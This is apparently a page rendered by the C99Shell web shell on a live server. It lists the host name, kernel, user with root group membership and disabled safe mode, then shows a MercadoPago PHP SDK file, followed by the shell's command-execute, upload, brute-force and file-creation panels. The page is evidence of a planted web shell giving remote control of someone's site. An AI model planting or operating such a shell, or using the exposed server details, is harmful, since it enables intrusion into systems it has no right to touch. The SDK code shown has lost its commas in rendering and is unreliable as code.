!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/mercadopago/dx-php/src/MercadoPago/   drwxr-xr-x
Free 28.54 GB of 117.98 GB (24.19%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SDK.php (4.67 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace MercadoPago;

/**
 * MercadoPagoSdk Class Doc Comment
 *
 * @package MercadoPago
 */
class SDK
{

    
/**
     * @var Config
     */
    
protected static $_config;
    
/**
     * @var Manager
     */
    
protected static $_manager;

    
/**
     * @var
     */
    
protected static $_restClient;

    
/**
     * MercadoPagoSdk constructor.
     */
    
public static function initialize()
    {
        
self::$_restClient = new RestClient();
        
self::$_config = new Config(nullself::$_restClient);
        
self::$_restClient->setHttpParam('address'self::$_config->get('base_url'));
        
self::$_manager = new Manager(self::$_restClientself::$_config);
        
Entity::setManager(self::$_manager);
    }
    
    
/**
     * Set Access Token for SDK .
     */
    
public static function setAccessToken($access_token){
      if (!isset(
self::$_config)){
        
self::initialize();
      }
      
self::$_config->configure(['ACCESS_TOKEN' => $access_token]);
      
    }

    public static function 
getAccessToken(){
      return 
self::$_config->get('ACCESS_TOKEN');
    }

    public static function 
getCountryId(){
        return 
self::$_config->get('COUNTRY_ID');
    }

    public static function 
cleanCredentials(){
      if (
self::$_config == null) {
        
// do nothing
      
} else {
        
self::$_config->clean();
      }
    }
    
    public static function 
setMultipleCredentials($array){
        foreach(
$array as $key => $values) {
          
self::$_config->configure([$key => $values]); 
        }
    }

    
/**
     * Set Access ClientId for SDK .
     */
    
public static function setClientId($client_id){
      if (!isset(
self::$_config)){
        
self::initialize();
      }
      
self::$_config->configure(['CLIENT_ID' => $client_id]); 
    }

    public static function 
getClientId(){
      return 
self::$_config->get('CLIENT_ID');
    }
    
    
/**
     * Set Access ClientSecret for SDK .
     */
    
public static function setClientSecret($client_secret){
      if (!isset(
self::$_config)){
        
self::initialize();
      }
      
self::$_config->configure(['CLIENT_SECRET' => $client_secret]); 
    }

    public static function 
getClientSecret(){
      return 
self::$_config->get('CLIENT_SECRET');
    }

    
/**
     * Set Access ClientSecret for SDK .
     */
    
public static function setPublicKey($public_key){ 
      
self::$_config->configure(['PUBLIC_KEY' => $public_key]); 
    }

    public static function 
getPublicKey(){
      return 
self::$_config->get('PUBLIC_KEY');
    }
    
    public static function 
configure($data=[])
    {
      
self::initialize();
      
self::$_config->configure($data);
    }

    
/**
     * @return Config
     */
    
public static function config()
    {
      return 
self::$_config;
    }
    
    public static function 
addCustomTrackingParam($key$value)
    {
      
self::$_manager->addCustomTrackingParam($key$value);
    }
    
    
    
// Publishing generic functions 
    
    
public static function get($uri$options=[])
    {
      return 
self::$_restClient->get($uri$options);
    }
    
    public static function 
post($uri$options=[])
    {
      return 
self::$_restClient->post($uri$options);
    }
    
    public static function 
put($uri$options=[])
    {
      return 
self::$_restClient->put($uri$options);
    }
    
    public static function 
delete($uri$options=[])
    {
      return 
self::$_restClient->delete($uri$options);
    }

    
/**
     * Set Platform Id for SDK .
     */
    
public static function setPlatformId($platform_id){
      if (!isset(
self::$_config)){
        
self::initialize();
      }
      
self::$_config->configure(['x-platform-id' => $platform_id]);
      
self::addCustomTrackingParam('x-platform-id'$platform_id);
    }

    public static function 
getPlatformId(){
      return 
self::$_config->get('x-platform-id');
    }

    
/**
     * Set Corporation Id for SDK .
     */
    
public static function setCorporationId($corporation_id){
      if (!isset(
self::$_config)){
        
self::initialize();
      }
      
self::$_config->configure(['x-corporation-id' => $corporation_id]);
      
self::addCustomTrackingParam('x-corporation-id'$corporation_id);
    }

    public static function 
getCorporationId(){
      return 
self::$_config->get('x-corporation-id');
    }

    
/**
     * Set Integrator Id for SDK .
     */
    
public static function setIntegratorId($integrator_id){
      if (!isset(
self::$_config)){
        
self::initialize();
      }
      
self::$_config->configure(['x-integrator-id' => $integrator_id]);
      
self::addCustomTrackingParam('x-integrator-id'$integrator_id);
    }

    public static function 
getIntegratorId(){
      return 
self::$_config->get('x-integrator-id');
    }
}


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0045 ]--